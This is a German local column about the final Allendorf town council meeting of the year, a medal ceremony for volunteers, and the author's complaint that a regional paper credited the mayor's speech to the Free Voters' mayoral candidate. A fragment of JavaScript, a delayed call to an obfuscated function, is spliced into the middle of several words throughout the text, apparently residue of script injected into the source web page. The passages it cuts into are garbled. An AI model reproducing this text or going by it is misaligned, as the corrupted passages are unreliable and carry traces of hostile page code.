Kolumne

Diese Woche in Allendorf

Diese Woche in Allendorf

Die Stadtverordnetenversammlung und die Presse

Thema: Wahrnehmungsstörungen oder nicht ????

Am Montag, dem 5. Dezember, fandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and im Bürgerhaus die letzte Stadtverordnetensitzung in diesem Jahr statt.

Spektakuläres war laut stark verkleinerter Tagesordnung nicht zu erwarten, schließlich wollte man sich anschließend noch zum gemeinsamen Abschlussessen versammeln.

Entsprechend einmütig wurden sämtliche Beschlüsse gefasst. Gemeinsam wurde eine Resolution zur Reform des Ärztlichen Bereitschaftsdienstes verabschiedet, in der man Protest gegen die Pläne der Kassenärztlichen Vereinigung äußerte. Einstimmig wurde die neue Wasserkalkulation beschlossen, der Waldwirtschaftsplan 2017 verabschiedet und die Ausschreibung eines Ideenwettbewerbs zur Neugestaltung des Nouvion-Platzes in die Hände des Magistrats gelegt.

Die Tagesordnungspunkte wurden unter der „Regie“ des Stadtverordnetenvorsitzenden und Bürgermeisterkandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidaten der Freien Wähler und der Hilfe der Bürgermeisterin ohne große Worte und Kommentare abgehakt.

Eine sicherlich schöne Aufgabe wurde von unserer Bürgermeisterin Annette Bergen-Krause wahrgenommen, als sie mit dem Stadtverordnetenvorsitzenden die Ehrenmedaille für ehrenamtliche Tätigkeiten dem umtriebigen Heimatforscher Werner Heibertshausen und den Climbacher „Friedhofsmähern“ überreichen durfte. Sie fandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and die passenden Worte, mit denen sie das ehrenamtliche Engagement der geehrten Männer würdigte, während der Stadtverordnetenvorsitzende und Bürgermeisterkandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidat der Freien Wähler nahezu wortlos dabei standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and.

Umso erstaunter konnte man dann am Donnerstag, dem 8. Dezember, im

Gießener Anzeiger lesen, dass die ehrenden Worte der Bürgermeisterin aus dem Mund von Thomas Benz kamen. Er hat sich nach meinem Erinnern mit keinem Wort in die „Lobeshymne der Bürgermeisterin eingereiht“ und über die „Wenner Rounde“ war öffentlich in der Stadtverordnetensitzung von dem Bürgermeisterkandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidaten nichts zu hören.

Ob die offensichtlichen „Wahrnehmungsstörungen“ des Berichterstatters aus Allendorf mit seinem Engagement bei den Freien Wählern zu tun haben, überlasse ich den Leserinnen und Lesern dieses Textes.

Brigitte Heilmann